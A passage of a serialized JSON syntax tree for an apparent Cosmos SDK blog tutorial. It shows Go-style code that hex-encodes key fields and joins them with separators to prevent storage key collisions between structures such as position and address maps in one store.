0},[83177],{"type":28,"value":83178},"Encode",{"type":23,"tag":481,"props":83180,"children":83181},{"style":525},[83182],{"type":28,"value":618},{"type":23,"tag":481,"props":83184,"children":83185},{"style":508},[83186],{"type":28,"value":83087},{"type":23,"tag":481,"props":83188,"children":83189},{"style":525},[83190],{"type":28,"value":588},{"type":23,"tag":481,"props":83192,"children":83193},{"style":508},[83194],{"type":28,"value":83003},{"type":23,"tag":481,"props":83196,"children":83197},{"style":525},[83198],{"type":28,"value":675},{"type":23,"tag":481,"props":83200,"children":83201},{"class":483,"line":873},[83202],{"type":23,"tag":481,"props":83203,"children":83204},{"emptyLinePlaceholder":15},[83205],{"type":28,"value":1210},{"type":23,"tag":481,"props":83207,"children":83208},{"class":483,"line":1125},[83209,83214,83218,83222],{"type":23,"tag":481,"props":83210,"children":83211},{"style":508},[83212],{"type":28,"value":83213},"positionNameEncoded",{"type":23,"tag":481,"props":83215,"children":83216},{"style":514},[83217],{"type":28,"value":73948},{"type":23,"tag":481,"props":83219,"children":83220},{"style":610},[83221],{"type":28,"value":83096},{"type":23,"tag":481,"props":83223,"children":83224},{"style":525},[83225],{"type":28,"value":988},{"type":23,"tag":481,"props":83227,"children":83228},{"class":483,"line":1142},[83229,83233,83237],{"type":23,"tag":481,"props":83230,"children":83231},{"style":525},[83232],{"type":28,"value":83108},{"type":23,"tag":481,"props":83234,"children":83235},{"style":943},[83236],{"type":28,"value":82297},{"type":23,"tag":481,"props":83238,"children":83239},{"style":525},[83240],{"type":28,"value":1033},{"type":23,"tag":481,"props":83242,"children":83243},{"class":483,"line":1159},[83244,83248,83252,83256,83260,83264,83268,83273],{"type":23,"tag":481,"props":83245,"children":83246},{"style":508},[83247],{"type":28,"value":83124},{"type":23,"tag":481,"props":83249,"children":83250},{"style":525},[83251],{"type":28,"value":199},{"type":23,"tag":481,"props":83253,"children":83254},{"style":610},[83255],{"type":28,"value":83133},{"type":23,"tag":481,"props":83257,"children":83258},{"style":525},[83259],{"type":28,"value":618},{"type":23,"tag":481,"props":83261,"children":83262},{"style":610},[83263],{"type":28,"value":6621},{"type":23,"tag":481,"props":83265,"children":83266},{"style":525},[83267],{"type":28,"value":618},{"type":23,"tag":481,"props":83269,"children":83270},{"style":508},[83271],{"type":28,"value":83272},"positionName",{"type":23,"tag":481,"props":83274,"children":83275},{"style":525},[83276],{"type":28,"value":83154},{"type":23,"tag":481,"props":83278,"children":83279},{"class":483,"line":1172},[83280],{"type":23,"tag":481,"props":83281,"children":83282},{"style":525},[83283],{"type":28,"value":675},{"type":23,"tag":481,"props":83285,"children":83286},{"class":483,"line":1181},[83287,83291,83295,83299,83303,83307,83311,83315],{"type":23,"tag":481,"props":83288,"children":83289},{"style":508},[83290],{"type":28,"value":83169},{"type":23,"tag":481,"props":83292,"children":83293},{"style":525},[83294],{"type":28,"value":199},{"type":23,"tag":481,"props":83296,"children":83297},{"style":610},[83298],{"type":28,"value":83178},{"type":23,"tag":481,"props":83300,"children":83301},{"style":525},[83302],{"type":28,"value":618},{"type":23,"tag":481,"props":83304,"children":83305},{"style":508},[83306],{"type":28,"value":83213},{"type":23,"tag":481,"props":83308,"children":83309},{"style":525},[83310],{"type":28,"value":588},{"type":23,"tag":481,"props":83312,"children":83313},{"style":508},[83314],{"type":28,"value":83272},{"type":23,"tag":481,"props":83316,"children":83317},{"style":525},[83318],{"type":28,"value":675},{"type":23,"tag":481,"props":83320,"children":83321},{"class":483,"line":1204},[83322],{"type":23,"tag":481,"props":83323,"children":83324},{"emptyLinePlaceholder":15},[83325],{"type":28,"value":1210},{"type":23,"tag":481,"props":83327,"children":83328},{"class":483,"line":1213},[83329,83333,83337,83341,83345,83349],{"type":23,"tag":481,"props":83330,"children":83331},{"style":508},[83332],{"type":28,"value":82738},{"type":23,"tag":481,"props":83334,"children":83335},{"style":514},[83336],{"type":28,"value":73948},{"type":23,"tag":481,"props":83338,"children":83339},{"style":508},[83340],{"type":28,"value":79766},{"type":23,"tag":481,"props":83342,"children":83343},{"style":525},[83344],{"type":28,"value":199},{"type":23,"tag":481,"props":83346,"children":83347},{"style":610},[83348],{"type":28,"value":82755},{"type":23,"tag":481,"props":83350,"children":83351},{"style":525},[83352],{"type":28,"value":988},{"type":23,"tag":481,"props":83354,"children":83355},{"class":483,"line":1222},[83356,83360],{"type":23,"tag":481,"props":83357,"children":83358},{"style":1805},[83359],{"type":28,"value":82921},{"type":23,"tag":481,"props":83361,"children":83362},{"style":525},[83363],{"type":28,"value":1033},{"type":23,"tag":481,"props":83365,"children":83366},{"class":483,"line":1291},[83367,83371],{"type":23,"tag":481,"props":83368,"children":83369},{"style":508},[83370],{"type":28,"value":82779},{"type":23,"tag":481,"props":83372,"children":83373},{"style":525},[83374],{"type":28,"value":1033},{"type":23,"tag":481,"props":83376,"children":83377},{"class":483,"line":1299},[83378,83382],{"type":23,"tag":481,"props":83379,"children":83380},{"style":508},[83381],{"type":28,"value":82863},{"type":23,"tag":481,"props":83383,"children":83384},{"style":525},[83385],{"type":28,"value":1033},{"type":23,"tag":481,"props":83387,"children":83388},{"class":483,"line":1329},[83389,83394],{"type":23,"tag":481,"props":83390,"children":83391},{"style":508},[83392],{"type":28,"value":83393}," usernameEncoded",{"type":23,"tag":481,"props":83395,"children":83396},{"style":525},[83397],{"type":28,"value":1033},{"type":23,"tag":481,"props":83399,"children":83400},{"class":483,"line":1337},[83401,83405],{"type":23,"tag":481,"props":83402,"children":83403},{"style":508},[83404],{"type":28,"value":82863},{"type":23,"tag":481,"props":83406,"children":83407},{"style":525},[83408],{"type":28,"value":1033},{"type":23,"tag":481,"props":83410,"children":83411},{"class":483,"line":1369},[83412],{"type":23,"tag":481,"props":83413,"children":83414},{"style":508},[83415],{"type":28,"value":83416}," positionNameEncoded\n",{"type":23,"tag":481,"props":83418,"children":83419},{"class":483,"line":1377},[83420],{"type":23,"tag":481,"props":83421,"children":83422},{"style":525},[83423],{"type":28,"value":675},{"type":23,"tag":24,"props":83425,"children":83426},{},[83427,83429,83434],{"type":28,"value":83428},"We did it. We finally eliminated all potential ",{"type":23,"tag":64,"props":83430,"children":83432},{"className":83431},[],[83433],{"type":28,"value":82738},{"type":28,"value":83435}," collisions.",{"type":23,"tag":24,"props":83437,"children":83438},{},[83439],{"type":28,"value":83440},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":24,"props":83442,"children":83443},{},[83444,83446,83452,83454,83459,83461,83466,83468,83473,83475,83481],{"type":28,"value":83445},"In the Cosmos framework, it is common for each ",{"type":23,"tag":64,"props":83447,"children":83449},{"className":83448},[],[83450],{"type":28,"value":83451},"Module",{"type":28,"value":83453}," to own a few ",{"type":23,"tag":64,"props":83455,"children":83457},{"className":83456},[],[83458],{"type":28,"value":82509},{"type":28,"value":83460}," and have individual ",{"type":23,"tag":64,"props":83462,"children":83464},{"className":83463},[],[83465],{"type":28,"value":77477},{"type":28,"value":83467},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":64,"props":83469,"children":83471},{"className":83470},[],[83472],{"type":28,"value":82509},{"type":28,"value":83474}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":64,"props":83476,"children":83478},{"className":83477},[],[83479],{"type":28,"value":83480},"Modules",{"type":28,"value":199},{"type":23,"tag":24,"props":83483,"children":83484},{},[83485,83487,83492],{"type":28,"value":83486},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":64,"props":83488,"children":83490},{"className":83489},[],[83491],{"type":28,"value":82509},{"type":28,"value":670},{"type":23,"tag":24,"props":83494,"children":83495},{},[83496,83498,83504,83506,83511],{"type":28,"value":83497},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":64,"props":83499,"children":83501},{"className":83500},[],[83502],{"type":28,"value":83503},"NameToAddressMap",{"type":28,"value":83505}," structure, which will be stored in the same ",{"type":23,"tag":64,"props":83507,"children":83509},{"className":83508},[],[83510],{"type":28,"value":82509},{"type":28,"value":83512}," we previously used.",{"type":23,"tag":435,"props":83514,"children":83516},{"code":83515,"language":73696,"meta":7,"className":73697,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[83517],{"type":23,"tag":64,"props":83518,"children":83519},{"__ignoreMap":7},[83520,83535,83550,83557,83572,83591,83606,83613,83628,83683,83690,83706,83726,83741,83748,83764],{"type":23,"tag":481,"props":83521,"children":83522},{"class":483,"line":484},[83523,83527,83531],{"type":23,"tag":481,"props":83524,"children":83525},{"style":497},[83526],{"type":28,"value":30272},{"type":23,"tag":481,"props":83528,"children":83529},{"style":943},[83530],{"type":28,"value":82555},{"type":23,"tag":481,"props":83532,"children":83533},{"style":943},[83534],{"type":28,"value":73734},{"type":23,"tag":481,"props":83536,"children":83537},{"class":483,"line":351},[83538,83542,83546],{"type":23,"tag":481,"props":83539,"children":83540},{"style":497},[83541],{"type":28,"value":30272},{"type":23,"tag":481,"props":83543,"children":83544},{"style":943},[83545],{"type":28,"value":82571},{"type":23,"tag":481,"props":83547,"children":83548},{"style":943},[83549],{"type":28,"value":82576},{"type":23,"tag":481,"props":83551,"children":83552},{"class":483,"line":531},[83553],{"type":23,"tag":481,"props":83554,"children":83555},{"emptyLinePlaceholder":15},[83556],{"type":28,"value":1210},{"type":23,"tag":481,"props":83558,"children":83559},{"class":483,"line":567},[83560,83564,83568],{"type":23,"tag":481,"props":83561,"children":83562},{"style":497},[83563],{"type":28,"value":30272},{"type":23,"tag":481,"props":83565,"children":83566},{"style":943},[83567],{"type":28,"value":82588},{"type":23,"tag":481,"props":83569,"children":83570},{"style":943},[83571],{"type":28,"value":82576},{"type":23,"tag":481,"props":83573,"children":83574},{"class":483,"line":678},[83575,83579,83583,83587],{"type":23,"tag":481,"props":83576,"children":83577},{"style":497},[83578],{"type":28,"value":30272},{"type":23,"tag":481,"props":83580,"children":83581},{"style":943},[83582],{"type":28,"value":4903},{"type":23,"tag":481,"props":83584,"children":83585},{"style":497},[83586],{"type":28,"value":18649},{"type":23,"tag":481,"props":83588,"children":83589},{"style":525},[83590],{"type":28,"value":809},{"type":23,"tag":481,"props":83592,"children":83593},{"class":483,"line":784},[83594,83598,83602],{"type":23,"tag":481,"props":83595,"children":83596},{"style":508},[83597],{"type":28,"value":40752},{"type":23,"tag":481,"props":83599,"children":83600},{"style":525},[83601],{"type":28,"value":73759},{"type":23,"tag":481,"props":83603,"children":83604},{"style":943},[83605],{"type":28,"value":81760},{"type":23,"tag":481,"props":83607,"children":83608},{"class":483,"line":812},[83609],{"type":23,"tag":481,"props":83610,"children":83611},{"style":525},[83612],{"type":28,"value":1443},{"type":23,"tag":481,"props":83614,"children":83615},{"class":483,"line":825},[83616,83620,83624],{"type":23,"tag":481,"props":83617,"children":83618},{"style":497},[83619],{"type":28,"value":30272},{"type":23,"tag":481,"props":83621,"children":83622},{"style":943},[83623],{"type":28,"value":82645},{"type":23,"tag":481,"props":83625,"children":83626},{"style":514},[83627],{"type":28,"value":82650},{"type":23,"tag":481,"props":83629,"children":83630},{"class":483,"line":843},[83631,83635,83639,83643,83647,83651,83655,83659,83663,83667,83671,83675,83679],{"type":23,"tag":481,"props":83632,"children":83633},{"style":497},[83634],{"type":28,"value":82658},{"type":23,"tag":481,"props":83636,"children":83637},{"style":525},[83638],{"type":28,"value":1269},{"type":23,"tag":481,"props":83640,"children":83641},{"style":943},[83642],{"type":28,"value":82667},{"type":23,"tag":481,"props":83644,"children":83645},{"style":525},[83646],{"type":28,"value":12900},{"type":23,"tag":481,"props":83648,"children":83649},{"style":497},[83650],{"type":28,"value":64631},{"type":23,"tag":481,"props":83652,"children":83653},{"style":525},[83654],{"type":28,"value":1269},{"type":23,"tag":481,"props":83656,"children":83657},{"style":943},[83658],{"type":28,"value":82684},{"type":23,"tag":481,"props":83660,"children":83661},{"style":525},[83662],{"type":28,"value":12900},{"type":23,"tag":481,"props":83664,"children":83665},{"style":497},[83666],{"type":28,"value":64631},{"type":23,"tag":481,"props":83668,"children":83669},{"style":525},[83670],{"type":28,"value":1269},{"type":23,"tag":481,"props":83672,"children":83673},{"style":943},[83674],{"type":28,"value":82701},{"type":23,"tag":481,"props":83676,"children":83677},{"style":525},[83678],{"type":28,"value":12900},{"type":23,"tag":481,"props":83680,"children":83681},{"style":943},[83682],{"type":28,"value":82710},{"type":23,"tag":481,"props":83684,"children":83685},{"class":483,"line":864},[83686],{"type":23,"tag":481,"props":83687,"children":83688},{"emptyLinePlaceholder":15},[83689],{"type":28,"value":1210},{"type":23,"tag":481,"props":83691,"children":83692},{"class":483,"line":873},[83693,83697,83702],{"type":23,"tag":481,"props":83694,"children":83695},{"style":497},[83696],{"type":28,"value":30272},{"type":23,"tag":481,"props":83698,"children":83699},{"style":943},[83700],{"type":28,"value":83701}," AddressName",{"type":23,"tag":481,"props":83703,"children":83704},{"style":943},[83705],{"type":28,"value":82576},{"type":23,"tag":481,"props":83707,"children":83708},{"class":483,"line":1125},[83709,83713,83718,83722],{"type":23,"tag":481,"props":83710,"children":83711},{"style":497},[83712],{"type":28,"value":30272},{"type":23,"tag":481,"props":83714,"children":83715},{"style":943},[83716],{"type":28,"value":83717}," Address",{"type":23,"tag":481,"props":83719,"children":83720},{"style":497},[83721],{"type":28,"value":18649},{"type":23,"tag":481,"props":83723,"children":83724},{"style":525},[83725],{"type":28,"value":809},{"type":23,"tag":481,"props":83727,"children":83728},{"class":483,"line":1142},[83729,83733,83737],{"type":23,"tag":481,"props":83730,"children":83731},{"style":508},[83732],{"type":28,"value":12593},{"type":23,"tag":481,"props":83734,"children":83735},{"style":525},[83736],{"type":28,"value":73759},{"type":23,"tag":481,"props":83738,"children":83739},{"style":943},[83740],{"type":28,"value":81760},{"type":23,"tag":481,"props":83742,"children":83743},{"class":483,"line":1159},[83744],{"type":23,"tag":481,"props":83745,"children":83746},{"style":525},[83747],{"type":28,"value":1443},{"type":23,"tag":481,"props":83749,"children":83750},{"class":483,"line":1172},[83751,83755,83760],{"type":23,"tag":481,"props":83752,"children":83753},{"style":497},[83754],{"type":28,"value":30272},{"type":23,"tag":481,"props":83756,"children":83757},{"style":943},[83758],{"type":28,"value":83759}," AddressMap",{"type":23,"tag":481,"props":83761,"children":83762},{"style":514},[83763],{"type":28,"value":82650},{"type":23,"tag":481,"props":83765,"children":83766},{"class":483,"line":1181},[83767,83771,83775,83779,83783,83787,83791,83795,83799,83803,83807,83812,83816],{"type":23,"tag":481,"props":83768,"children":83769},{"style":497},[83770],{"type":28,"value":82658},{"type":23,"tag":481,"props":83772,"children":83773},{"style":525},[83774],{"type":28,"value":1269},{"type":23,"tag":481,"props":83776,"children":83777},{"style":943},[83778],{"type":28,"value":82667},{"type":23,"tag":481,"props":83780,"children":83781},{"style":525},[83782],{"type":28,"value":12900},{"type":23,"tag":481,"props":83784,"children":83785},{"style":497},[83786],{"type":28,"value":64631},{"type":23,"tag":481,"props":83788,"children":83789},{"style":525},[83790],{"type":28,"value":1269},{"type":23,"tag":481,"props":83792,"children":83793},{"style":943},[83794],{"type":28,"value":82684},{"type":23,"tag":481,"props":83796,"children":83797},{"style":525},[83798],{"type":28,"value":12900},{"type":23,"tag":481,"props":83800,"children":83801},{"style":497},[83802],{"type":28,"value":64631},{"type":23,"tag":481,"props":83804,"children":83805},{"style":525},[83806],{"type":28,"value":1269},{"type":23,"tag":481,"props":83808,"children":83809},{"style":943},[83810],{"type":28,"value":83811},"AddressName",{"type":23,"tag":481,"props":83813,"children":83814},{"style":525},[83815],{"type":28,"value":12900},{"type":23,"tag":481,"props":83817,"children":83818},{"style":943},[83819],{"type":28,"value":83820},"Address\n",{"type":23,"tag":24,"props":83822,"children":83823},{},[83824],{"type":28,"value":83825},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":435,"props":83827,"children":83829},{"code":83828,"language":73696,"meta":7,"className":73697,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[83830],{"type":23,"tag":64,"props":83831,"children":83832},{"__ignoreMap":7},[83833,83844,83859,83866,83873,83880,83896,83911,83938,83961,83980,83996,84032,84039,84074,84081,84101,84116,84151,84158,84193,84200,84228,84240,84252,84264,84276,84287,84299,84306,84313,84320,84327,84343,84358,84382,84405,84424,84439,84474,84481,84516,84523,84543,84558,84593,84600,84636,84643,84670,84681,84692,84703,84714,84725,84737,84744],{"type":23,"tag":481,"props":83834,"children":83835},{"class":483,"line":484},[83836,83840],{"type":23,"tag":481,"props":83837,"children":83838},{"style":497},[83839],{"type":28,"value":7139},{"type":23,"tag":481,"props":83841,"children":83842},{"style":525},[83843],{"type":28,"value":76098},{"type":23,"tag":481,"props":83845,"children":83846},{"class":483,"line":351},[83847,83851,83855],{"type":23,"tag":481,"props":83848,"children":83849},{"style":508},[83850],{"type":28,"value":82863},{"type":23,"tag":481,"props":83852,"children":83853},{"style":514},[83854],{"type":28,"value":517},{"type":23,"tag":481,"props":83856,"children":83857},{"style":1805},[83858],{"type":28,"value":82872},{"type":23,"tag":481,"props":83860,"children":83861},{"class":483,"line":531},[83862],{"type":23,"tag":481,"props":83863,"children":83864},{"style":525},[83865],{"type":28,"value":675},{"type":23,"tag":481,"props":83867,"children":83868},{"class":483,"line":567},[83869],{"type":23,"tag":481,"props":83870,"children":83871},{"emptyLinePlaceholder":15},[83872],{"type":28,"value":1210},{"type":23,"tag":481,"props":83874,"children":83875},{"class":483,"line":678},[83876],{"type":23,"tag":481,"props":83877,"children":83878},{"emptyLinePlaceholder":15},[83879],{"type":28,"value":1210},{"type":23,"tag":481,"props":83881,"children":83882},{"class":483,"line":784},[83883,83887,83892],{"type":23,"tag":481,"props":83884,"children":83885},{"style":497},[83886],{"type":28,"value":73832},{"type":23,"tag":481,"props":83888,"children":83889},{"style":610},[83890],{"type":28,"value":83891}," PositionMapKey",{"type":23,"tag":481,"props":83893,"children":83894},{"style":525},[83895],{"type":28,"value":988},{"type":23,"tag":481,"props":83897,"children":83898},{"class":483,"line":812},[83899,83903,83907],{"type":23,"tag":481,"props":83900,"children":83901},{"style":508},[83902],{"type":28,"value":82779},{"type":23,"tag":481,"props":83904,"children":83905},{"style":943},[83906],{"type":28,"value":73953},{"type":23,"tag":481,"props":83908,"children":83909},{"style":525},[83910],{"type":28,"value":1033},{"type":23,"tag":481,"props":83912,"children":83913},{"class":483,"line":825},[83914,83918,83922,83926,83930,83934],{"type":23,"tag":481,"props":83915,"children":83916},{"style":508},[83917],{"type":28,"value":82791},{"type":23,"tag":481,"props":83919,"children":83920},{"style":525},[83921],{"type":28,"value":588},{"type":23,"tag":481,"props":83923,"children":83924},{"style":508},[83925],{"type":28,"value":83272},{"type":23,"tag":481,"props":83927,"children":83928},{"style":525},[83929],{"type":28,"value":73759},{"type":23,"tag":481,"props":83931,"children":83932},{"style":943},[83933],{"type":28,"value":82297},{"type":23,"tag":481,"props":83935,"children":83936},{"style":525},[83937],{"type":28,"value":1033},{"type":23,"tag":481,"props":83939,"children":83940},{"class":483,"line":843},[83941,83945,83949,83953,83957],{"type":23,"tag":481,"props":83942,"children":83943},{"style":525},[83944],{"type":28,"value":73914},{"type":23,"tag":481,"props":83946,"children":83947},{"style":508},[83948],{"type":28,"value":69686},{"type":23,"tag":481,"props":83950,"children":83951},{"style":525},[83952],{"type":28,"value":73759},{"type":23,"tag":481,"props":83954,"children":83955},{"style":943},[83956],{"type":28,"value":82297},{"type":23,"tag":481,"props":83958,"children":83959},{"style":525},[83960],{"type":28,"value":12292},{"type":23,"tag":481,"props":83962,"children":83963},{"class":483,"line":864},[83964,83968,83972,83976],{"type":23,"tag":481,"props":83965,"children":83966},{"style":508},[83967],{"type":28,"value":83393},{"type":23,"tag":481,"props":83969,"children":83970},{"style":514},[83971],{"type":28,"value":73948},{"type":23,"tag":481,"props":83973,"children":83974},{"style":610},[83975],{"type":28,"value":83096},{"type":23,"tag":481,"props":83977,"children":83978},{"style":525},[83979],{"type":28,"value":988},{"type":23,"tag":481,"props":83981,"children":83982},{"class":483,"line":873},[83983,83988,83992],{"type":23,"tag":481,"props":83984,"children":83985},{"style":525},[83986],{"type":28,"value":83987}," []",{"type":23,"tag":481,"props":83989,"children":83990},{"style":943},[83991],{"type":28,"value":82297},{"type":23,"tag":481,"props":83993,"children":83994},{"style":525},[83995],{"type":28,"value":1033},{"type":23,"tag":481,"props":83997,"children":83998},{"class":483,"line":1125},[83999,84004,84008,84012,84016,84020,84024,84028],{"type":23,"tag":481,"props":84000,"children":84001},{"style":508},[84002],{"type":28,"value":84003}," hex",{"type":23,"tag":481,"props":84005,"children":84006},{"style":525},[84007],{"type":28,"value":199},{"type":23,"tag":481,"props":84009,"children":84010},{"style":610},[84011],{"type":28,"value":83133},{"type":23,"tag":481,"props":84013,"children":84014},{"style":525},[84015],{"type":28,"value":618},{"type":23,"tag":481,"props":84017,"children":84018},{"style":610},[84019],{"type":28,"value":6621},{"type":23,"tag":481,"props":84021,"children":84022},{"style":525},[84023],{"type":28,"value":618},{"type":23,"tag":481,"props":84025,"children":84026},{"style":508},[84027],{"type":28,"value":83003},{"type":23,"tag":481,"props":84029,"children":84030},{"style":525},[84031],{"type":28,"value":83154},{"type":23,"tag":481,"props":84033,"children":84034},{"class":483,"line":1142},[84035],{"type":23,"tag":481,"props":84036,"children":84037},{"style":525},[84038],{"type":28,"value":21429},{"type":23,"tag":481,"props":84040,"children":84041},{"class":483,"line":1159},[84042,84046,84050,84054,84058,84062,84066,84070],{"type":23,"tag":481,"props":84043,"children":84044},{"style":508},[84045],{"type":28,"value":83124},{"type":23,"tag":481,"props":84047,"children":84048},{"style":525},[84049],{"type":28,"value":199},{"type":23,"tag":481,"props":84051,"children":84052},{"style":610},[84053],{"type":28,"value":83178},{"type":23,"tag":481,"props":84055,"children":84056},{"style":525},[84057],{"type":28,"value":618},{"type":23,"tag":481,"props":84059,"children":84060},{"style":508},[84061],{"type":28,"value":83087},{"type":23,"tag":481,"props":84063,"children":84064},{"style":525},[84065],{"type":28,"value":588},{"type":23,"tag":481,"props":84067,"children":84068},{"style":508},[84069],{"type":28,"value":83003},{"type":23,"tag":481,"props":84071,"children":84072},{"style":525},[84073],{"type":28,"value":675},{"type":23,"tag":481,"props":84075,"children":84076},{"class":483,"line":1172},[84077],{"type":23,"tag":481,"props":84078,"children":84079},{"emptyLinePlaceholder":15},[84080],{"type":28,"value":1210},{"type":23,"tag":481,"props":84082,"children":84083},{"class":483,"line":1181},[84084,84089,84093,84097],{"type":23,"tag":481,"props":84085,"children":84086},{"style":508},[84087],{"type":28,"value":84088}," positionNameEncoded",{"type":23,"tag":481,"props":84090,"children":84091},{"style":514},[84092],{"type":28,"value":73948},{"type":23,"tag":481,"props":84094,"children":84095},{"style":610},[84096],{"type":28,"value":83096},{"type":23,"tag":481,"props":84098,"children":84099},{"style":525},[84100],{"type":28,"value":988},{"type":23,"tag":481,"props":84102,"children":84103},{"class":483,"line":1204},[84104,84108,84112],{"type":23,"tag":481,"props":84105,"children":84106},{"style":525},[84107],{"type":28,"value":83987},{"type":23,"tag":481,"props":84109,"children":84110},{"style":943},[84111],{"type":28,"value":82297},{"type":23,"tag":481,"props":84113,"children":84114},{"style":525},[84115],{"type":28,"value":1033},{"type":23,"tag":481,"props":84117,"children":84118},{"class":483,"line":1213},[84119,84123,84127,84131,84135,84139,84143,84147],{"type":23,"tag":481,"props":84120,"children":84121},{"style":508},[84122],{"type":28,"value":84003},{"type":23,"tag":481,"props":84124,"children":84125},{"style":525},[84126],{"type":28,"value":199},{"type":23,"tag":481,"props":84128,"children":84129},{"style":610},[84130],{"type":28,"value":83133},{"type":23,"tag":481,"props":84132,"children":84133},{"style":525},[84134],{"type":28,"value":618},{"type":23,"tag":481,"props":84136,"children":84137},{"style":610},[84138],{"type":28,"value":6621},{"type":23,"tag":481,"props":84140,"children":84141},{"style":525},[84142],{"type":28,"value":618},{"type":23,"tag":481,"props":84144,"children":84145},{"style":508},[84146],{"type":28,"value":83272},{"type":23,"tag":481,"props":84148,"children":84149},{"style":525},[84150],{"type":28,"value":83154},{"type":23,"tag":481,"props":84152,"children":84153},{"class":483,"line":1222},[84154],{"type":23,"tag":481,"props":84155,"children":84156},{"style":525},[84157],{"type":28,"value":21429},{"type":23,"tag":481,"props":84159,"children":84160},{"class":483,"line":1291},[84161,84165,84169,84173,84177,84181,84185,84189],{"type":23,"tag":481,"props":84162,"children":84163},{"style":508},[84164],{"type":28,"value":83124},{"type":23,"tag":481,"props":84166,"children":84167},{"style":525},[84168],{"type":28,"value":199},{"type":23,"tag":481,"props":84170,"children":84171},{"style":610},[84172],{"type":28,"value":83178},{"type":23,"tag":481,"props":84174,"children":84175},{"style":525},[84176],{"type":28,"value":618},{"type":23,"tag":481,"props":84178,"children":84179},{"style":508},[84180],{"type":28,"value":83213},{"type":23,"tag":481,"props":84182,"children":84183},{"style":525},[84184],{"type":28,"value":588},{"type":23,"tag":481,"props":84186,"children":84187},{"style":508},[84188],{"type":28,"value":83272},{"type":23,"tag":481,"props":84190,"children":84191},{"style":525},[84192],{"type":28,"value":675},{"type":23,"tag":481,"props":84194,"children":84195},{"class":483,"line":1299},[84196],{"type":23,"tag":481,"props":84197,"children":84198},{"emptyLinePlaceholder":15},[84199],{"type":28,"value":1210},{"type":23,"tag":481,"props":84201,"children":84202},{"class":483,"line":1329},[84203,84208,84212,84216,84220,84224],{"type":23,"tag":481,"props":84204,"children":84205},{"style":508},[84206],{"type":28,"value":84207}," key",{"type":23,"tag":481,"props":84209,"children":84210},{"style":514},[84211],{"type":28,"value":73948},{"type":23,"tag":481,"props":84213,"children":84214},{"style":508},[84215],{"type":28,"value":79766},{"type":23,"tag":481,"props":84217,"children":84218},{"style":525},[84219],{"type":28,"value":199},{"type":23,"tag":481,"props":84221,"children":84222},{"style":610},[84223],{"type":28,"value":82755},{"type":23,"tag":481,"props":84225,"children":84226},{"style":525},[84227],{"type":28,"value":988},{"type":23,"tag":481,"props":84229,"children":84230},{"class":483,"line":1337},[84231,84236],{"type":23,"tag":481,"props":84232,"children":84233},{"style":1805},[84234],{"type":28,"value":84235}," \"%d%s%s%s%s\"",{"type":23,"tag":481,"props":84237,"children":84238},{"style":525},[84239],{"type":28,"value":1033},{"type":23,"tag":481,"props":84241,"children":84242},{"class":483,"line":1369},[84243,84248],{"type":23,"tag":481,"props":84244,"children":84245},{"style":508},[84246],{"type":28,"value":84247}," vaultId",{"type":23,"tag":481,"props":84249,"children":84250},{"style":525},[84251],{"type":28,"value":1033},{"type":23,"tag":481,"props":84253,"children":84254},{"class":483,"line":1377},[84255,84260],{"type":23,"tag":481,"props":84256,"children":84257},{"style":508},[84258],{"type":28,"value":84259}," Seperator",{"type":23,"tag":481,"props":84261,"children":84262},{"style":525},[84263],{"type":28,"value":1033},{"type":23,"tag":481,"props":84265,"children":84266},{"class":483,"line":1437},[84267,84272],{"type":23,"tag":481,"props":84268,"children":84269},{"style":508},[84270],{"type":28,"value":84271}," usernameEncoded",{"type":23,"tag":481,"props":84273,"children":84274},{"style":525},[84275],{"type":28,"value":1033},{"type":23,"tag":481,"props":84277,"children":84278},{"class":483,"line":6528},[84279,84283],{"type":23,"tag":481,"props":84280,"children":84281},{"style":508},[84282],{"type":28,"value":84259},{"type":23,"tag":481,"props":84284,"children":84285},{"style":525},[84286],{"type":28,"value":1033},{"type":23,"tag":481,"props":84288,"children":84289},{"class":483,"line":6546},[84290,84295],{"type":23,"tag":481,"props":84291,"children":84292},{"style":508},[84293],{"type":28,"value":84294}," 